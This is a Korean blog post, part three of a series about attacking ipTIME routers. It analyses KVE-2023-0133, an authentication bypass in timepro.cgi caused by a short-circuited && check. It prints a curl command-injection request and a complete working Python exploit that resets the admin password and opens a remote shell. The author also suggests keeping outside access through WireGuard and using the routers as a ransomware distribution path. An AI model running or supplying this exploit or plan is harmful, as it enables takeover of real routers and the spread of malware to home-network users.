# [ipTIME] 공유기 씹.뜯.맛.즐 해보기 - 03

# 0\. 지난 이야기

> 새로운 방향을 찾고 공유기의 1-day를 이용한 해킹에 성공했다. 하지만 나의 멍청한 실수로 인해서 테스트 기기였던 V504를 벽돌로 만들어버리게 된다.

# 1\. HELL NO

지난번에 다 성공해놓고 구할 수도 없는 모델을 날려먹는 바람에 기기를 다시 살리느냐, 아니면 다른 기기로 다른 취약점을 찾냐의 결정으로 넘어갔다.

나는 일단 살려보자라는 생각이었기에 바로 chatGPT한테 물어봤다.

![](https://velog.velcdn.com/images/z_coke/post/e48cf99d-6213-4195-aa62-2dd2380c52bc/image.png align="center")

일단 첫번째 상태였던것 같다. UART 연결해도 입출력이 모두 안되는 상황이었고 LED만 전부 들어와있는 상태였다.

여기서 망삘을 감지했는데, U-Boot가 날라갔을 가능성이 있다는 것이었다.

> **U-Boot란?**
> 
> Universal Boot Loader의 줄임말로, 주로 임베디드 시스템에서 사용하는 부트로더이다. 쉽게 말해서, 리눅스 커널이나 운영체제를 메모리로 로드하고 실행하는 역할을 한다.

이 U-Boot가 날라간게 맞다면 커널보다 먼저 작동되는 부트로더가 날라간(깨진) 상황이었다.

기계입장에선 `'아니 ㅅㅂ 그래서 뭘 부팅해야하는건데;;; 알려줘야 하지;;'` 와 같은 상황이었기에 CPU를 때서 롬 라이터 같은걸로 부트로더를 굽던지 해야하는 미친 난이도의 해결과제가 생겨버린 것이었다.

나는 이런 미친 짓에 할애할 시간이 넘쳐나는 사람도 아니고 관련 장비가 없기에 **살리기 작전을 포기하고 다른 기기에서 다른 취약점을 찾기로 결정했다.**

# 2\. 새로운 타겟과 취약점 찾기

하... 이번 과정에서 제일 빡셌다..

다른 기기에서 다른 취약점을 찾겠다고 마음먹었을 때는 `'그 까짓거 취약점 하나라고 더 없겠어?'` 라는 오만한 생각으로 시작한거였다.

진짜 문제가 일단 나는 ipTIME 기기만을 대상으로 생각했기에 더더욱 취약점을 찾기가 힘들었다.

일단 국내 제품의 취약점이기에 KVE를 발급받는 경우가 많은데, **CVE 대비 KVE는 정보 찾기 난이도가 HELL 이다.**

그리고 이를 제조사 측에서 어떤건지 상세히 공개해주면 좋겠지만 국내에선 이런 정보를 상세히 공개하는 것을 상당 수의 국내 기업이 꺼려하기에 더더욱 정보 찾기가 빡셌다.

![](https://velog.velcdn.com/images%2Fyeonlisa%2Fpost%2F4d97003b-09ad-4e7e-b693-7dd3b17516fb%2F4164335_1582361978747.gif align="center")

할 수 없이 이전에 찾는데 사용했던 키워드와 새로운 타겟 기기를 키워드로 다시 구글링을 시작했다.

여기서 타겟 기기와 다른 기기지만 타겟 기기와 같은 버전의 펌웨어에서 발생한 KVE-2023-0133 PoC를 찾았다.

![](https://velog.velcdn.com/images/z_coke/post/10795bf8-de20-47f7-a727-79246e74f560/image.png align="center")

위 취약점은 ipTIME AX2004M의 14.19.0 버전의 펌웨어에서 발생한 RCE 취약점이었다.

타겟 기기였던 T5004에도 적용되었던 버전이었기에 이 버전의 펌웨어를 사용해서 테스트를 진행했다.

> **왜 구입했던 A3004T가 아니라 왜 T5004를 타겟으로 진행했나?**
> 
> 원래 T5004는 내가 서버 망을 구성하기 위해서 사용중이던 유선 라우터다. 근데 이번 기회에 A3004T 유무선 공유기를 사게 되었는데, 너무 좋은 것이다 ㅎㅎ <s>NAS 지원을 어케 참냐고 ㄷㄷ</s> 그래서 이번에 T5004에서 A3004T로 서버망 라우터 변경하고 T5004를 타겟으로 테스트를 진행하게 되었다 :)

# 3\. KVE-2023-0133 1-day 분석

[PoC 정보](https://github.com/kaist-hacking/KVE-2023-0133/blob/main/README.md)

일단 웹서버 설정에 결함이 있는데, `boa_vh.80.conf` 라는 설정 파일에서의 문제가 있다.

```conf
Port 80
User root
Group root
ServerAdmin root@localhost
VirtualHost
DocumentRoot /home/httpd
UserDir public_html
DirectoryIndex index.html
KeepAliveMax 100
KeepAliveTimeout 10
MimeTypes /etc/mime.types
DefaultType text/plain
AddType application/x-httpd-cgi cgi
AddType text/html html
AddType image/svg+xml svg
ScriptAlias /sess-bin/ /cgibin/
ScriptAlias /nd-bin/ /ndbin/
ScriptAlias /login/ /cgibin/login-cgi/
ScriptAlias /ddns/ /cgibin/ddns/
```

`/home/httpd` 가 DocumentRoot로 지정되어 있는 것을 볼 수가 있는데, `/home/httpd/cgi` 를 보면,

```bash
$ ls -als ./home/httpd/cgi
total 476
  4 drwxr-xr-x  2 zerocoke zerocoke   4096 May 11 02:32 .
  4 drwxrwxrwx 25 zerocoke zerocoke   4096 May 10 10:27 ..
 20 -rwxr-xr-x  1 zerocoke zerocoke  18016 Jan  1  1970 iux.cgi
 20 -rwxr-xr-x  1 zerocoke zerocoke  19372 Jan  1  1970 iux_download.cgi
136 -rwxr-xr-x  1 zerocoke zerocoke 135796 Jan  1  1970 iux_get.cgi
112 -rwxr-xr-x  1 zerocoke zerocoke 113472 Jan  1  1970 iux_set.cgi
  8 -rwxr-xr-x  1 zerocoke zerocoke   5820 Jan  1  1970 service.cgi
172 -rw-r--r--  1 zerocoke zerocoke 173261 May 11 02:32 service.cgi.idb
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 timepro.cgi -> /cgibin/timepro.cgi
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 upgrade.cgi -> /cgibin/upgrade.cgi
```

내부에 cgibin/timepro.cgi를 가르키는 심볼릭 링크가 있어서 인증이 없어도 `http://{host}/cgi/timepro.cgi` 로 접근이 된다.

내부에 `timepro.cgi`바이너리를 보기 위해서 binwalk를 이용해서 펌웨어를 뜯어서 봐야한다. 이걸 까보면,

```c
e_log_init("cgi.timepro");
if ( httpcon_check_session_url() && !httpcon_auth(1, 1) )
	return 0;
```

이런 코드가 있는데, 이게 어드민 페이지의 인증 검증 코드이다.

*   if 조건문의 반환값:
    
    *   0: 인증 성공 -> if문이 실행되지 않음.
        
    *   1: 인증 실패 -> 프로그램 종료 (return 0)
        

어째서 실행이 안되었냐면, `&&` **가 일으킨 오류였다.**

`&&` 로 AND 연산하게 된다면 앞이 0일 경우, 뒤의 결과를 연산하지 않는 특성이 있다.

결론적으로 `&&` 로 인해 `httpcon_auth()` 함수가 실행되지 않았고 앞에 반환값인 세션 체크 부분만 사용해 반환값이 `0` 으로 반환되며 인증 성공으로 오류가 나면서 **'인증'없는 '인증'함수가 되어버렸다.**

![](https://velog.velcdn.com/images/z_coke/post/83b241f3-47e2-4d47-a22f-5de140ee6c34/image.png align="center")

이래서 최종적으로 아래와 같은 익스플로잇을 작성해주면 끝이다.

```python
# exploit.py 내 주요 기능
def reset_passwd(self, captcha_file, captcha_code):
     timepro_cgi = self.base_url + '/cgi/timepro.cgi'
     data = {
         'act': 'save',
         'tmenu': 'iframe',
         'smenu': 'hiddenloginsetup',
         'captcha_file': captcha_file,
         'captcha_code': captcha_code,
         'new_passwd': self.args.password,
         'new_login': self.args.id
     }

     r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})
```

위와 같이 익스플로잇을 짜게 되면 패스워드를 내 맘대로 비번을 설정할 수 있다.

근데 여기서 끝이 아니다. **쉘까지 딸 수 있다.**

**내가 전 포스팅에서 설명한 무시무시한 원격 지원 기능이** `timepro.cgi` **에 아직 살아있다.**

```bash
$ curl -X POST "http://target/sess-bin/timepro.cgi" \
  -d "tmenu=diagnosis&smenu=remote_support&act=start" \
  -d "command=;[내가 쓰고 싶은 명령어]"
```

이런 리퀘를 날리면 **\-GAME OVER-**

# 3.1. KVE-2023-0133 RCE 1-day Exploit

이번에는 번거롭게 내가 Exploit code를 짤 필요가 없다.

상대적으로 최신 펌웨어라서 그런지 python3 기반 Exploit code를 이 PoC를 작성해준 차칸사람이 이미 짜놨다.

```python
import requests
import io
import argparse
import re
import sys
from bs4 import BeautifulSoup

def parse_args():
    p = argparse.ArgumentParser()
    p.add_argument('cmd', choices=['reset_password', 'spawn_shell'])
    p.add_argument('--host', required=True)
    p.add_argument('--port', default=80, type=int)
    p.add_argument('--password', default='pwned')
    p.add_argument('--id', default='root')
    return p.parse_args()

class Exploit(object):
    def __init__(self, args):
        self.args = args

    @property
    def base_url(self):
        return 'http://%s:%d' % (self.args.host, self.args.port)

    def check_captcha(self):
        captcha_url = self.base_url + '/sess-bin/captcha.cgi'
        r = requests.get(captcha_url, headers={'referer': self.base_url})
        return re.search(r'/captcha/(.*).gif', r.text) is not None

    def crack_captcha(self):
        try:
            # TODO: merge with automatic way for captcha
            captcha_url = self.base_url + '/sess-bin/captcha.cgi'
            r = requests.get(captcha_url, headers={'referer': self.base_url})
            captcha_file = re.search(r'/captcha/(.*).gif', r.text).group(1)
            print(f'[*] Solve captcha from {self.base_url}/captcha/{captcha_file}.gif')
            captcha_code = input().strip()
            assert(len(captcha_code) == 5)
            return captcha_file, captcha_code
        except AttributeError:
            return None, None

    def login(self, username, passwd):
        captcha_file, captcha_code = self.crack_captcha()
        login_cgi = self.base_url + '/sess-bin/login_handler.cgi'
        data = {
            'username': username,
            'passwd': passwd,
            'captcha_code': captcha_code,
            'captcha_file': captcha_file,
            'init_status': 1,
            'captcha_on': 1
        }
        r = requests.post(login_cgi, data=data, headers={'referer': self.base_url})
        m = re.search("setCookie\('(.*)'\);", r.text)
        return m

class ResetPassword(Exploit):
    def reset_passwd(self, captcha_file, captcha_code):
        timepro_cgi = self.base_url + '/cgi/timepro.cgi'
        data = {
            'act': 'save',
            'tmenu': 'iframe',
            'smenu': 'hiddenloginsetup',
            'captcha_file': captcha_file,
            'captcha_code': captcha_code,
            'new_passwd': self.args.password,
            'new_login': self.args.id
        }

        r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})
        if not 'GotoLoginPage' in r.text:
            print('[-] Failed to reset')
            sys.exit(-1)

        print(f'[+] Successfully reset password: id={self.args.id}, pw={self.args.password}')

    def enable_captcha(self):
        for i in range(10):
            if self.check_captcha():
                return

            self.login('aaaa', 'bbbb') # failed login to enable captcha

        print('[-] Failed to enable captcha')
        sys.exit(1)


    def run(self):
        self.enable_captcha()
        captcha_file, captcha_code = self.crack_captcha()
        self.reset_passwd(captcha_file, captcha_code)

class SpawnShell(Exploit):
    def __init__(self, args):
        self.args = args

    def run(self):
        self.setup_remote_support()

        sess_id = self.login(self.args.id, self.args.password).group(1)
        while True:
            print('$ ', end="")
            cmd = input()
            self.spawn_shell(cmd, sess_id)

    def setup_remote_support(self):
        timepro_cgi = self.base_url + '/cgi/timepro.cgi'
        data = 'tmenu=iframe&smenu=sysconf_misc&service=remotesupport&run=&hostnameh=&autosavingh=&beeper=&pwremail=&mgmt_port=&fakednsh=&dhcp_auto_restart_1=&nologinh=&wbmpopuph=&remotesupporth=1&apcplanh=&keepconnh=&ledh=&ledstart=&ledend=&autorebooth=&everyday=&autorebootHour=&autorebootMin=&sun=&mon=&tue=&wed=&thu=&fri=&sat=&restarth=&upnph=&multilang_lang=&server_list=&server_edit=&gmtidx=&summer_flag='

        r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})

        if not 'remotesupport' in r.text:
            print('[-] Failed to reset_password')
            sys.exit(-1)

        print('[+] Successfully enable remotesupport')

    def spawn_shell(self, cmd, sess_id):
        d_cgi = self.base_url + '/sess-bin/d.cgi'
        data = {
            'act': 1,
            'fname': '',
            'cmd': cmd,
            'aaksjdkfj': '!@dnjsrurelqjrm*&',
            'dapply': ' Show '
        }

        r = requests.get(d_cgi, params=data,
                headers={
                    'referer': self.base_url,
                    'Cookie': f'efm_session_id={sess_id}'})

        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.find('pre').text)

if __name__ == '__main__':
    args = parse_args()
    if args.cmd == 'reset_password':
        exploit = ResetPassword(args)
        exploit.run()
    else:
        exploit = SpawnShell(args)
        exploit.run()
```

아주 그냥 편하게 만들어놨다. 심지어 ID하고 패스워드를 인자로 원하는대로 넣을 수 있다.

!youtube\[gLF41JD-izk\]

위 영상은 익스플로잇 테스트 영상이다. 한번 올려봤다.

# 3.1.1. 레전드 업데이트 발견

이 취약점이 KISA에 신고 된건 2023년 3월 쯤 인것 같은데, 6월에 패치가 진행된 것 같다.

근데 이 중간에 있는 업데이트는 해당 취약점이 패치되지 않았다.

중간에 업데이트가 두세번 있었는데 레전드 업데이트가 떴다.

**바로, Wireguard 내장 업데이트다.**

이게 미친 이유가 **단순히 이 취약점이 있는 내부망에서 Exploit을 진행하고 벗어나도 해당 Wireguard 피어를 발급받아서 외부에서도 내부망에 접근할 수 있다는 것이다.**

진짜 미친 취약점이라는 뜻.

최종적으로 이를 내부망 사용자들의 랜섬웨어 배포경로로서 사용하면 된다.

# 4\. 결론

간단하게 정리해보겠다.

*   KVE-2023-0133 취약점 PoC로 이전 취약점보다 상대적 최신 공유기를 대상으로 RCE가 가능해졌고 관리자 페이지 로그인 정보 탈취에 성공했다.
    
*   이 취약점이 EFM Networks에 까지 전해지기에 걸린 시간동안 나온 패치에서 Wireguard를 내장 업데이트가 있었고, 이로서 외부에서도 내부망에 접근할 수 있게 되었다.
    

이처럼 꽤나 긴 여정이 끝이 났다.

추후 이를 이용한 랜섬웨어 배포 경로가 완성되어서 공유할 수 있다면 공유해보겠다.

**그럼 이만**
